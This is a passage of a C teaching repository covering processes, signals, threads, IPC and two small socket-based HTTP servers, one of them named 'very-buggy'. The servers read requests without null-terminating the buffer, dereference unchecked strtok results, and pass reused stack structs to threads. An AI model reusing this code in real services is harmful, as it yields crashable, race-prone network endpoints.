perror("recv"); 51 | exit(EXIT_FAILURE); 52 | } 53 | printf("Client[%d]: %s", rc, buf); 54 | } while (rc != 0); 55 | 56 | return 0; 57 | } -------------------------------------------------------------------------------- /04-process-management/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 3.5.1) 2 | 3 | set(CMAKE_CXX_STANDARD 11) 4 | 5 | project(04-process-management) 6 | 7 | include_directories(include) 8 | 9 | add_executable(family 10 | src/family.c 11 | ) 12 | 13 | add_executable(servant 14 | src/servant.c 15 | ) 16 | 17 | add_executable(master-slave 18 | src/master-slave.c 19 | ) 20 | 21 | add_executable(signals 22 | src/signals.c 23 | ) 24 | 25 | add_executable(piping 26 | src/piping.c 27 | ) 28 | 29 | add_executable(signals-with-fork 30 | src/signals-with-fork.c 31 | ) 32 | -------------------------------------------------------------------------------- /04-process-management/readme.md: -------------------------------------------------------------------------------- 1 | ## Concepts 2 | 3 | - Forks 4 | - Pipes 5 | - Signals -------------------------------------------------------------------------------- /04-process-management/src/family.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | void do_what_a_child_will_do(char* a) { 8 | fprintf(stdout, "%s[%d]: Hi mother!\n", a, (int)getpid()); 9 | exit(EXIT_SUCCESS); 10 | } 11 | 12 | int main(int argc, char** argv) { 13 | 14 | pid_t pid = fork(); 15 | if( pid < 0 ) { 16 | perror("Fork"); 17 | exit(EXIT_FAILURE); 18 | } 19 | 20 | if(pid == 0) { 21 | do_what_a_child_will_do(argv[0]); 22 | } 23 | 24 | wait(NULL); 25 | fprintf(stdout, "%s[%d]: Hello son!\n", argv[0], (int)getpid()); 26 | 27 | return 0; 28 | } -------------------------------------------------------------------------------- /04-process-management/src/master-slave.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | int common_ground = 0; 10 | 11 | int main(int argc, char** argv) { 12 | 13 | pid_t pid = fork(); 14 | if( pid < 0 ) { 15 | perror("Fork"); 16 | exit(EXIT_FAILURE); 17 | } 18 | 19 | if(pid == 0) { 20 | common_ground++; 21 | fprintf(stderr, "slave[%d]: common_ground: %d\n", (int)getpid(), common_ground); 22 | if(execvp(argv[1], argv+1)) { 23 | fprintf(stderr, "slave[%d]: no can do!: %s\n", (int)getpid(), strerror(errno)); 24 | } 25 | exit(EXIT_FAILURE); 26 | } 27 | 28 | wait(NULL); 29 | fprintf(stdout, "master[%d]: common ground: %d\n", (int)getpid(), common_ground); 30 | fprintf(stdout, "master[%d]: i did nothing!\n", (int)getpid()); 31 | 32 | return 0; 33 | } -------------------------------------------------------------------------------- /04-process-management/src/piping.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | int main(int argc, char* argv[]) { 9 | 10 | char buf[BUFSIZ] = {0}; 11 | pid_t pid; 12 | int pipefd[2]; 13 | 14 | if(pipe(pipefd) == -1) { 15 | perror("pipe"); 16 | exit(EXIT_FAILURE); 17 | } 18 | 19 | pid = fork(); 20 | if(pid == 0) { 21 | char* msg = "Read this[0]!\0"; 22 | printf("Child[0]: %s\n", msg); 23 | write(pipefd[1], msg, strlen(msg)); 24 | exit(EXIT_SUCCESS); 25 | } 26 | wait(NULL); 27 | read(pipefd[0], buf, BUFSIZ); 28 | printf("Parent reads: %s\n", buf); 29 | 30 | pid_t pid2 = fork(); 31 | if(pid2 == 0) { 32 | char* msg = "Read this[1]!\0"; 33 | printf("Child[1]: %s\n", msg); 34 | write(pipefd[1], msg, strlen(msg)); 35 | exit(EXIT_SUCCESS); 36 | } 37 | wait(NULL); 38 | read(pipefd[0], buf, BUFSIZ); 39 | printf("Parent reads: %s\n", buf); 40 | 41 | return 0; 42 | } 43 | -------------------------------------------------------------------------------- /04-process-management/src/servant.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | int main(int argc, char* argv[]) { 7 | 8 | for(int i = 0; i < argc ; i++) { 9 | fprintf(stdout, "%s ", argv[i]); 10 | } fprintf(stdout, "\n"); 11 | 12 | if (argc > 1) { 13 | execvp(argv[1], argv+1); 14 | } 15 | 16 | printf("You shouldn't see me!\n"); 17 | 18 | return 0; 19 | } -------------------------------------------------------------------------------- /04-process-management/src/signals-with-fork.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | int run = 1; 10 | pid_t cpid; 11 | int signal_to_handle; 12 | 13 | void child_signal_handler(int sig) { 14 | printf("[child] Signal[%d] recieved to pid: [%d]\n", sig, getpid()); 15 | run = 0; 16 | } 17 | 18 | void parent_signal_handler(int sig) { 19 | kill(cpid, signal_to_handle); 20 | printf("[parent] Signal[%d] recieved to pid: [%d]\n", sig, getpid()); 21 | } 22 | 23 | 24 | int main(int argc, char** argv) { 25 | 26 | if( argc != 2 ){ 27 | fprintf(stderr, "I need args!\n"); 28 | return EXIT_FAILURE; 29 | } 30 | 31 | signal_to_handle = atoi(argv[1]); 32 | 33 | cpid = fork(); 34 | if(cpid < 0) { 35 | perror("error"); 36 | exit(EXIT_FAILURE); 37 | } 38 | 39 | if(cpid == 0){ 40 | signal(signal_to_handle, child_signal_handler); 41 | while(run) { 42 | printf("Epoch time: %lu\n", (unsigned long) time(NULL)); 43 | sleep(1); 44 | } 45 | for(int i = 0 ; i < 50 ; i++) { 46 | printf("ppid: %d\n", getppid()); 47 | sleep(1); 48 | } 49 | printf("Child exits!\n"); 50 | exit(EXIT_SUCCESS); 51 | } 52 | 53 | signal(SIGINT, parent_signal_handler); 54 | wait(NULL); 55 | printf("Parent exits!\n"); 56 | 57 | return 0; 58 | } 59 | 60 | -------------------------------------------------------------------------------- /04-process-management/src/signals.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | int caught_signal = 0; 8 | 9 | void handle_sig(int sig) { 10 | if(sig == SIGINT) { 11 | fprintf(stdout, "[%lu]: cant stop me with: %d!\n", time(NULL), sig); 12 | } else if (sig == SIGQUIT) { 13 | fprintf(stdout, "[%lu]: cant stop me with: %d!\n", time(NULL), sig); 14 | } else { 15 | caught_signal = sig; 16 | } 17 | } 18 | 19 | int main(int argc, char* argv[]) { 20 | 21 | signal(SIGINT, handle_sig); 22 | signal(SIGQUIT, handle_sig); 23 | 24 | do { 25 | fprintf(stdout, "[%lu]: pid:%d\n", time(NULL), (int)getpid()); 26 | sleep(1); 27 | } while(caught_signal == 0); 28 | 29 | fprintf(stdout, "[%lu]: you win, %d\n", time(NULL), caught_signal); 30 | 31 | 32 | return 0; 33 | } -------------------------------------------------------------------------------- /05-multithreading/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 3.5.1) 2 | 3 | set(CMAKE_CXX_STANDARD 11) 4 | 5 | project(05-multithreading) 6 | 7 | include_directories(include) 8 | 9 | 10 | add_executable(mutex_example 11 | src/mutex_example.c 12 | ) 13 | target_link_libraries(mutex_example pthread) 14 | 15 | add_executable(simple_multi_threading 16 | src/simple_multi_threading.c 17 | ) 18 | target_link_libraries(simple_multi_threading 19 | pthread 20 | ) 21 | 22 | add_executable(func_pointer_threading 23 | src/func_pointer_threading.c 24 | ) 25 | target_link_libraries(func_pointer_threading 26 | pthread 27 | m 28 | ) 29 | -------------------------------------------------------------------------------- /05-multithreading/readme.md: -------------------------------------------------------------------------------- 1 | ## Concepts 2 | 3 | - Threads 4 | - Mutex locks -------------------------------------------------------------------------------- /05-multithreading/src/func_pointer_threading.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #define EVER ;; 7 | 8 | void* f3(void*); 9 | void* f2(void*); 10 | void* f1(void*); 11 | void* (*fcaller[3])(void*) = {f1, f2, f3}; 12 | 13 | int i = 0; 14 | 15 | int main(int argc, char** argv) { 16 | 17 | pthread_t th1, th2, th3; 18 | 19 | int arg; 20 | arg = 1; 21 | pthread_create(&th1, NULL, &f1, &arg ); 22 | arg = 2; 23 | pthread_create(&th2, NULL, &f2, &arg ); 24 | arg = 3; 25 | pthread_create(&th3, NULL, &f3, &arg ); 26 | 27 | pthread_detach(th1); 28 | pthread_detach(th2); 29 | pthread_detach(th3); 30 | 31 | for(int k = 0; k < 10; k++) { 32 | printf("[.-`] "); 33 | for(int j = 0; j < i ; j++) { 34 | printf("-"); 35 | } printf("\n"); 36 | sleep(1); 37 | } 38 | 39 | return 0; 40 | } 41 | 42 | 43 | void* f3(void* s) { 44 | while(1) { 45 | i++; 46 | printf("[--+] hello from f3\n"); 47 | sleep(*(int*)s); 48 | } 49 | } 50 | 51 | void* f2(void* s) { 52 | for(;;) { 53 | i = sqrt(i); 54 | printf("[-+-] hello from f2\n"); 55 | sleep(*(int*)s); 56 | } 57 | } 58 | 59 | void* f1(void* s) { 60 | for(EVER) { 61 | i*=i; 62 | printf("[+--] hello from f1\n"); 63 | sleep(*(int*)s); 64 | } 65 | } 66 | -------------------------------------------------------------------------------- /05-multithreading/src/mutex_example.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | 8 | int global_variable = 0; 9 | pthread_mutex_t lock; 10 | 11 | 12 | int is_prime(int n) { 13 | for(int i = 2 ; i <= n/2 ; i++) { 14 | if(n%i!=0) 15 | continue; 16 | else 17 | return 1; 18 | } 19 | return 0;; 20 | } 21 | 22 | void func() { 23 | pthread_mutex_lock(&lock); 24 | global_variable++; 25 | printf("Start func\t[%d]\n", global_variable); 26 | for(int i = 0 ; i < 100000 ; i++) { 27 | is_prime(i); 28 | } 29 | printf("End func\t[%d]\n", global_variable); 30 | pthread_mutex_unlock(&lock); 31 | } 32 | 33 | int main(int argc, char** argv) { 34 | 35 | if (pthread_mutex_init(&lock, NULL) != 0) { 36 | printf("\n mutex init has failed\n"); 37 | return EXIT_FAILURE; 38 | } 39 | 40 | int how_many = 2; 41 | pthread_t th[how_many]; 42 | for(int i = 0 ; i < how_many; i++) { 43 | pthread_create(&(th[i]), NULL, (void*)func, 0); 44 | } 45 | for(int i = 0 ; i < how_many; i++) { 46 | pthread_join(th[i], NULL); 47 | } 48 | 49 | return 0; 50 | } -------------------------------------------------------------------------------- /05-multithreading/src/simple_multi_threading.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | int run = 1; 10 | 11 | void print_date() { 12 | while(run) { 13 | fprintf(stdout, "[unix timestamp: %ld]\n", time(NULL)); 14 | sleep(1); 15 | } 16 | } 17 | 18 | void print_name(char *n) { 19 | while(run) { 20 | fprintf(stdout, "name: %s\n", n); 21 | sleep(1); 22 | } 23 | } 24 | 25 | int main(int argc, char** argv) { 26 | 27 | pthread_t t; 28 | pthread_create( 29 | &t, 30 | NULL, 31 | (void*)print_date, NULL 32 | ); 33 | 34 | pthread_t n; 35 | pthread_create( 36 | &n, 37 | NULL, 38 | (void*)print_name, argv[1] == NULL ? "george" : argv[1] 39 | ); 40 | 41 | 42 | sleep(10); 43 | run = 0; 44 | 45 | pthread_join(t, NULL); 46 | pthread_join(n, NULL); 47 | 48 | return 0; 49 | } 50 | -------------------------------------------------------------------------------- /06-inter-process-communication/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 3.5.1) 2 | 3 | set(CMAKE_CXX_STANDARD 11) 4 | 5 | project(06-inter-process-communication) 6 | 7 | include_directories(include) 8 | 9 | add_executable(shm_example 10 | src/shm_example.c 11 | ) 12 | 13 | add_executable(msg_example 14 | src/msg_example.c 15 | ) 16 | 17 | add_executable(msg_send 18 | src/msg_send.c 19 | ) 20 | 21 | add_executable(msg_recv 22 | src/msg_recv.c 23 | ) 24 | 25 | add_executable(sem_example 26 | src/sem_example.c 27 | ) -------------------------------------------------------------------------------- /06-inter-process-communication/readme.md: -------------------------------------------------------------------------------- 1 | ## Concepts 2 | - Shared memory 3 | - Message queues 4 | - Semaphores -------------------------------------------------------------------------------- /06-inter-process-communication/src/msg_example.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | /* 9 | * This struct must be in form of msgbuf referenced 10 | * in man msgget 11 | */ 12 | typedef struct msg { 13 | long mtype; 14 | char mtext[BUFSIZ]; 15 | } msg; 16 | 17 | ssize_t msglen(msg m) { 18 | return sizeof(m.mtype) + sizeof(char) * strlen(m.mtext); 19 | } 20 | 21 | int main(int argc, char** argv) { 22 | 23 | int msgid = msgget(IPC_PRIVATE, 0600 | IPC_CREAT); 24 | if( msgid < 0) { 25 | perror("msgget"); 26 | exit(EXIT_FAILURE); 27 | } 28 | 29 | pid_t cpid = fork(); 30 | if(cpid == 0) { 31 | msg m; 32 | m.mtype = 42; 33 | strcpy(m.mtext, "All this time?\0"); 34 | if (msgsnd( msgid, &m, msglen(m), 0) < 0) { 35 | perror("msgsnd"); 36 | exit(EXIT_FAILURE); 37 | } 38 | printf("sizeof: %lu\n",msglen(m)); 39 | exit(EXIT_SUCCESS); 40 | } 41 | wait(NULL); 42 | msg m; 43 | int r; 44 | if ( ( r = msgrcv(msgid, &m, BUFSIZ, 42, 0) ) < 0) { 45 | perror("msgrcv"); 46 | exit(EXIT_FAILURE); 47 | } 48 | 49 | printf("bytes[%d]: %ld, %s\n", r, m.mtype, m.mtext); 50 | 51 | if(msgctl(msgid, IPC_RMID, NULL) < 0) { 52 | perror("msgctl"); 53 | exit(EXIT_FAILURE); 54 | } else { 55 | printf("Always...\n"); 56 | } 57 | 58 | return 0; 59 | } 60 | -------------------------------------------------------------------------------- /06-inter-process-communication/src/msg_recv.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | /* 9 | * This struct must be in form of msgbuf referenced 10 | * in man msgget 11 | */ 12 | typedef struct msg { 13 | long mtype; 14 | char mtext[BUFSIZ]; 15 | } msg; 16 | 17 | ssize_t msglen(msg m) { 18 | return sizeof(m.mtype) + sizeof(char) * strlen(m.mtext); 19 | } 20 | 21 | int main(int argc, char** argv) { 22 | 23 | key_t k = ftok("msq_example", 42); 24 | 25 | int msgid = msgget(k, 0600 | IPC_CREAT); 26 | if( msgid < 0) { 27 | perror("msgget"); 28 | exit(EXIT_FAILURE); 29 | } 30 | 31 | msg m; 32 | int r; 33 | if ( ( r = msgrcv(msgid, &m, BUFSIZ, 42, 0) ) < 0) { 34 | perror("msgrcv"); 35 | exit(EXIT_FAILURE); 36 | } 37 | 38 | printf("bytes[%d]: %ld, %s\n", r, m.mtype, m.mtext); 39 | 40 | if(msgctl(msgid, IPC_RMID, NULL) < 0) { 41 | perror("msgctl"); 42 | exit(EXIT_FAILURE); 43 | } else { 44 | printf("Always...\n"); 45 | } 46 | 47 | return 0; 48 | } 49 | -------------------------------------------------------------------------------- /06-inter-process-communication/src/msg_send.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | /* 9 | * This struct must be in form of msgbuf referenced 10 | * in man msgget 11 | */ 12 | typedef struct msg { 13 | long mtype; 14 | char mtext[BUFSIZ]; 15 | } msg; 16 | 17 | ssize_t msglen(msg m) { 18 | return sizeof(m.mtype) + sizeof(char) * strlen(m.mtext); 19 | } 20 | 21 | int main(int argc, char** argv) { 22 | 23 | key_t k = ftok("msq_example", 42); 24 | 25 | int msgid = msgget(k, 0600 | IPC_CREAT); 26 | if( msgid < 0) { 27 | perror("msgget"); 28 | exit(EXIT_FAILURE); 29 | } 30 | 31 | msg m; 32 | m.mtype = 42; 33 | strcpy(m.mtext, "All this time?\0"); 34 | if (msgsnd( msgid, &m, msglen(m), 0) < 0) { 35 | perror("msgsnd"); 36 | exit(EXIT_FAILURE); 37 | } 38 | printf("sizeof: %lu\n",msglen(m)); 39 | 40 | return 0; 41 | } 42 | -------------------------------------------------------------------------------- /06-inter-process-communication/src/sem_example.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | void aqcuire_sem() { 11 | 12 | } 13 | 14 | void release_sem() { 15 | 16 | } 17 | 18 | int main(int argc, char** argv){ 19 | 20 | if(argc != 2) { 21 | fprintf(stderr, "Please pass semaphore operation\n"); 22 | exit(EXIT_FAILURE); 23 | } 24 | 25 | int op = atoi(argv[1]); 26 | 27 | /* 28 | * Semaphore stuff 29 | */ 30 | key_t k = ftok("sem_example", 42); 31 | 32 | // Create sem if not created or acquire semaphore 33 | int semid = semget(k,1, 0666 | IPC_CREAT); 34 | if(semid < 0) { 35 | perror("semget"); 36 | exit(EXIT_FAILURE); 37 | } 38 | 39 | #ifdef asdf 40 | int arg = 0; 41 | if (semctl(semid, 0, SETVAL,arg) < 0) { 42 | perror("semctl"); 43 | exit(EXIT_FAILURE); 44 | } 45 | #endif 46 | 47 | 48 | printf("Semaphore[%d] initialized\n", semid); 49 | 50 | 51 | /* 52 | * Using semaphores for critical section problem 53 | */ 54 | 55 | struct sembuf operations[1]; 56 | int retval; 57 | operations[0].sem_num = 0; 58 | operations[0].sem_flg = 0; 59 | operations[0].sem_op = op; 60 | int semval; 61 | semval = semctl(semid,0, GETVAL); 62 | printf("[%s] %ld, before sem: %d\n", argv[0], time(NULL), semval); 63 | if(op == 0) { 64 | printf("Waiting semaphore to be 0\n"); 65 | } 66 | retval = semop(semid, operations, 1); 67 | if(retval < 0) { 68 | perror("semop"); 69 | } 70 | semval = semctl(semid,0, GETVAL); 71 | printf("[%s] %ld, after sem: %d\n", argv[0], time(NULL), semval); 72 | 73 | return 0; 74 | } 75 | -------------------------------------------------------------------------------- /06-inter-process-communication/src/shm_example.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | pid_t cpid; 12 | int stop = 1; 13 | 14 | void sighandle(int sig) { 15 | stop = 0; 16 | } 17 | 18 | int main(int argc, char** argv) { 19 | 20 | signal(SIGINT, sighandle); 21 | 22 | key_t k = ftok("shmfile", 42); 23 | pid_t pid = fork(); 24 | 25 | if(pid == 0) { 26 | int shmid = shmget(k, BUFSIZ, 0666 | IPC_CREAT); 27 | int *t = shmat(shmid, NULL, 0); 28 | do { 29 | *t = time(NULL); 30 | sleep(1); 31 | } while(stop); 32 | fprintf(stdout, "\nCHILD EXITS!\n"); 33 | shmdt(t); 34 | exit(EXIT_SUCCESS); 35 | } 36 | cpid = pid; 37 | 38 | int shmid = shmget(k, BUFSIZ, 0666 | IPC_CREAT); 39 | time_t *tp = shmat(shmid, NULL, 0); 40 | char buf[128]; 41 | do { 42 | struct tm ts; 43 | ts = *localtime(tp); 44 | strftime(buf, sizeof(buf), "%a %Y-%m-%d %H:%M:%S %Z", &ts); 45 | fprintf(stdout, "%s\n", buf); 46 | sleep(1); 47 | } while(stop); 48 | kill(cpid, SIGINT); 49 | wait(NULL); 50 | fprintf(stdout, "PARENT EXITS!\n"); 51 | 52 | fprintf(stdout, "Removing shared memory for clean exit\n"); 53 | 54 | shmctl(shmid, IPC_RMID, 0); 55 | 56 | return 0; 57 | } -------------------------------------------------------------------------------- /07-projects/01-http-server-fantasy/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 3.5.1) 2 | 3 | set(CMAKE_CXX_STANDARD 11) 4 | 5 | project(01-http-server-fantasy) 6 | 7 | include_directories(include) 8 | 9 | add_library(fantasy_server 10 | src/fantasy_server/fantasy_server.c 11 | ) 12 | 13 | target_link_libraries(fantasy_server 14 | pthread 15 | ) 16 | 17 | add_executable(server 18 | src/fantasy_server/server.c 19 | ) 20 | 21 | target_link_libraries(server 22 | fantasy_server 23 | ) 24 | 25 | add_executable(very-buggy-is-prime-server 26 | src/very-buggy-is-prime-server.c 27 | ) 28 | 29 | target_link_libraries(very-buggy-is-prime-server 30 | pthread 31 | ) -------------------------------------------------------------------------------- /07-projects/01-http-server-fantasy/include/fantasy_server/fantasy_server.h: -------------------------------------------------------------------------------- 1 | #ifndef FANTASY_SERVER_H_ 2 | #define FANTASY_SERVER_H_ 3 | 4 | #include 5 | #include 6 | // Macros 7 | 8 | #define BACKLOG_MAX 128 9 | 10 | #define SERSTAINIT 0b00000001 11 | #define SERSTARUN 0b00000010 12 | #define SERSTAHALT 0b00000100 13 | 14 | // Datatypes 15 | struct fantasy_client { 16 | int fd_; 17 | struct sockaddr_in addr_; 18 | struct fantasy_client* next_; 19 | }; 20 | 21 | struct fantasy_server { 22 | int fd_; 23 | u_int16_t port_; 24 | u_int8_t max_conn_; 25 | u_int8_t state_; 26 | struct fantasy_client* clients_; 27 | }; 28 | 29 | 30 | // Functions 31 | struct fantasy_server * init_server(u_int16_t port); 32 | 33 | void start_server(struct fantasy_server *_server); 34 | 35 | void client_callback(void*_client); 36 | 37 | void destroy_server(struct fantasy_server* _server); 38 | 39 | void main_loop(); 40 | 41 | // Global variables 42 | int server_file_; 43 | 44 | #endif -------------------------------------------------------------------------------- /07-projects/01-http-server-fantasy/src/fantasy_server/fantasy_server.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | struct fantasy_server* init_server(u_int16_t port) { 14 | struct fantasy_server *_server; 15 | _server = (struct fantasy_server*) malloc(sizeof(struct fantasy_server)); 16 | _server->port_ = port; 17 | _server->state_ = SERSTAINIT; 18 | 19 | return _server; 20 | } 21 | 22 | void start_server(struct fantasy_server *_server) { 23 | if( (_server->fd_ = socket(AF_INET, SOCK_STREAM, 0)) == 0 ) { 24 | perror("Socket failed"); 25 | exit(EXIT_FAILURE); 26 | } 27 | 28 | int opt = 1; 29 | if( setsockopt(_server->fd_, SOL_SOCKET, SO_REUSEADDR | SO_REUSEPORT, &opt, sizeof(opt)) ) { 30 | perror("setsockopt"); 31 | exit(EXIT_FAILURE); 32 | } 33 | 34 | struct sockaddr_in addr; 35 | addr.sin_family = AF_INET; 36 | addr.sin_addr.s_addr = INADDR_ANY; 37 | addr.sin_port = htons(_server->port_); 38 | 39 | if(bind(_server->fd_, (struct sockaddr* )&addr, sizeof(addr)) < 0) { 40 | perror("bind failed"); 41 | exit(EXIT_FAILURE); 42 | } 43 | 44 | if(listen(_server->fd_, 3) < 0) { 45 | perror("listen"); 46 | exit(EXIT_FAILURE); 47 | } 48 | 49 | fprintf(stdout, "Listening on port: %d\n", _server->port_); 50 | _server->state_ = SERSTARUN; 51 | 52 | while((_server->state_ & SERSTAHALT) != SERSTAHALT ) { 53 | pthread_t servant; 54 | struct fantasy_client c; 55 | 56 | int addr_len = sizeof(c.addr_); 57 | if((c.fd_ = accept(_server->fd_, (struct sockaddr*)&c.addr_, (socklen_t*)&addr_len)) < 0) { 58 | perror("accept"); 59 | continue; 60 | } 61 | fprintf(stdout, "accepted: %d\n", c.fd_); 62 | 63 | pthread_create(&servant, NULL, (void*)&client_callback, &c); 64 | } 65 | close(_server->fd_); 66 | free(_server); 67 | } 68 | 69 | void client_callback(void* _c) { 70 | struct fantasy_client* _client = (struct fantasy_client*) _c; 71 | char buf[1024] = {0}; 72 | int ret; 73 | ret = read(_client->fd_, buf, 1024); 74 | if( ret < 0 ) { 75 | perror("read"); 76 | return; 77 | } 78 | char response[1024]; 79 | sprintf(response, "HTTP/1.0 200 OK\nContent-type: text/html; charset=UTF-8\n\n

Hello world

How are you %s?

", inet_ntoa(_client->addr_.sin_addr)); 80 | write(_client->fd_, response, strlen(response)); 81 | printf("[%ld]: %s", strlen(response), response); 82 | memset(&buf, 0, 1024); 83 | close(_client->fd_); 84 | } 85 | 86 | void destroy_server(struct fantasy_server* server) { 87 | server->state_ |= SERSTAHALT; 88 | } -------------------------------------------------------------------------------- /07-projects/01-http-server-fantasy/src/fantasy_server/server.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | struct fantasy_server* server = NULL; 7 | 8 | void sig_handle(int sig) { 9 | fprintf(stdout, "Closing server\n"); 10 | if(server) { 11 | destroy_server(server); 12 | } 13 | } 14 | 15 | int main(int argc, char* argv[]) { 16 | 17 | signal(SIGINT, sig_handle); 18 | 19 | server = init_server(8080); 20 | 21 | start_server(server); 22 | 23 | return 0; 24 | } -------------------------------------------------------------------------------- /07-projects/01-http-server-fantasy/src/very-buggy-is-prime-server.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | #define PORT 8080 12 | 13 | struct req { 14 | int fd; 15 | struct sockaddr_in addr; 16 | } req; 17 | 18 | // TCP Socket Server!! 19 | int is_prime(int n) { 20 | if (n <= 1) return 0; 21 | if (n == 2) return 1; 22 | if (n % 2 == 0) return 0; 23 | for(int i = 3 ; i <= n/2 ; i+=2) { 24 | if(n%i==0) 25 | return 0; 26 | } 27 | return 1; 28 | } 29 | 30 | void* serve(void* r) { 31 | struct req* rq = (struct req*)r; 32 | int cfd = rq->fd; 33 | char buf[BUFSIZ]; 34 | read(cfd, buf, BUFSIZ); 35 | 36 | char * request_line = strtok(buf, "\n"); 37 | char * request_type = strtok(request_line, " "); 38 | char * request_route = strtok(NULL, " "); 39 | char response[BUFSIZ]; 40 | if( ! strstr(request_route, "/number=") ){ 41 | sprintf(response, 42 | "HTTP/1.0 200 OK\n" 43 | "Content-type: text/html; charset=UTF-8\n" 44 | "\n" 45 | "

Hello

%s!

Try this. Take a look at the request also", 46 | inet_ntoa(rq->addr.sin_addr) 47 | ); 48 | 49 | } else { 50 | strtok(request_route, "="); 51 | char * requested_number = strtok(NULL, "="); 52 | 53 | 54 | sprintf(response, 55 | "HTTP/1.0 200 OK\n" 56 | "Content-type: text/html; charset=UTF-8\n" 57 | "\n" 58 | "

Hello

%s!

%d %s

", 59 | inet_ntoa(rq->addr.sin_addr), 60 | atoi(requested_number), 61 | is_prime(atoi(requested_number))?"is prime":"is not prime" 62 | ); 63 | } 64 | write(cfd, response, strlen(response)); 65 | close(cfd); 66 | } 67 | 68 | int main(int argc, char** argv) { 69 | 70 | int fd = socket(AF_INET, SOCK_STREAM, 0 /* man 7 ip */); 71 | if( fd < 0 ){ 72 | perror("socket"); 73 | exit(EXIT_FAILURE); 74 | } 75 | int opt = 1; 76 | setsockopt( 77 | fd, 78 | SOL_SOCKET, 79 | SO_REUSEADDR | SO_REUSEPORT, 80 | &opt, 81 | sizeof(opt) 82 | ); 83 | 84 | struct sockaddr_in serv_addr; 85 | serv_addr.sin_family = AF_INET; 86 | serv_addr.sin_addr.s_addr = INADDR_ANY; 87 | serv_addr.sin_port = htons(PORT); 88 | 89 | int retval = bind( 90 | fd, 91 | (struct sockaddr*)&serv_addr, 92 | sizeof(struct sockaddr_in) 93 | ); 94 | if( retval < 0 ) { 95 | perror("bind"); 96 | exit(EXIT_FAILURE); 97 | } 98 | 99 | retval = listen(fd, 1024); 100 | if( retval < 0 ) { 101 | perror("listen"); 102 | exit(EXIT_FAILURE); 103 | } 104 | 105 | while(1){ 106 | struct sockaddr_in cli_addr; 107 | socklen_t s = sizeof(cli_addr); 108 | int cfd = accept( 109 | fd, 110 | (struct sockaddr*)&cli_addr, 111 | &s 112 | ); 113 | if( cfd < 0 ) { 114 | perror("accept"); 115 | exit(EXIT_FAILURE); 116 | } 117 | struct req rq; 118 | rq.fd = cfd; 119 | rq.addr = cli_addr; 120 | 121 | pthread_t serve_t; 122 | pthread_create(&serve_t, NULL, serve, (void*)&rq); 123 | pthread_detach(serve_t); 124 | } 125 | 126 | 127 | 128 | return 0; 129 | } 130 | -------------------------------------------------------------------------------- /07-projects/02-musicmaker/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 3.5.1) 2 | 3 | set(CMAKE_CXX_STANDARD 11) 4 | 5 | project(02-musicmaker) 6 | 7 | include_directories(include) 8 | 9 | # Music maker example 10 | find_package(SDL2) 11 | 12 | if(SDL2_LIBRARIES) 13 | include_directories(${SDL2_INCLUDE_DIRS}) 14 | add_library(musicmaker 15 | src/musicmaker/sound.c 16 | src/musicmaker/util.c 17 | ) 18 | target_link_libraries(musicmaker 19 | pthread 20 | m 21 | ${SDL2_LIBRARIES} 22 | ) 23 | 24 | add_executable(composer 25 | src/composer.c 26 | ) 27 | 28 | target_link_libraries(composer 29 | musicmaker 30 | pthread 31 | ) 32 | else() 33 | message("sdl2 library can not be found so sound example will not be build") 34 | endif() 35 | -------------------------------------------------------------------------------- /07-projects/02-musicmaker/include/musicmaker/sound.h: -------------------------------------------------------------------------------- 1 | #ifndef SOUND_H_ 2 | #define SOUND_H_ 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | #define NOTE_C0 16 11 | #define NOTE_C0S 17 12 | #define NOTE_D0 18 13 | #define NOTE_D0S 19 14 | #define NOTE_E0 20 15 | #define NOTE_F0 21 16 | #define NOTE_F0S 23 17 | #define NOTE_G0 24 18 | #define NOTE_G0S 26 19 | #define NOTE_A0 27 20 | #define NOTE_A0S 29 21 | #define NOTE_B0 30 22 | #define NOTE_C1 32 23 | #define NOTE_C1S 34 24 | #define NOTE_D1 36 25 | #define NOTE_D1S 38 26 | #define NOTE_E1 41 27 | #define NOTE_F1 43 28 | #define NOTE_F1S 46 29 | #define NOTE_G1 49 30 | #define NOTE_G1S 52 31 | #define NOTE_A1 55 32 | #define NOTE_A1S 58 33 | #define NOTE_B1 61 34 | #define NOTE_C2 65 35 | 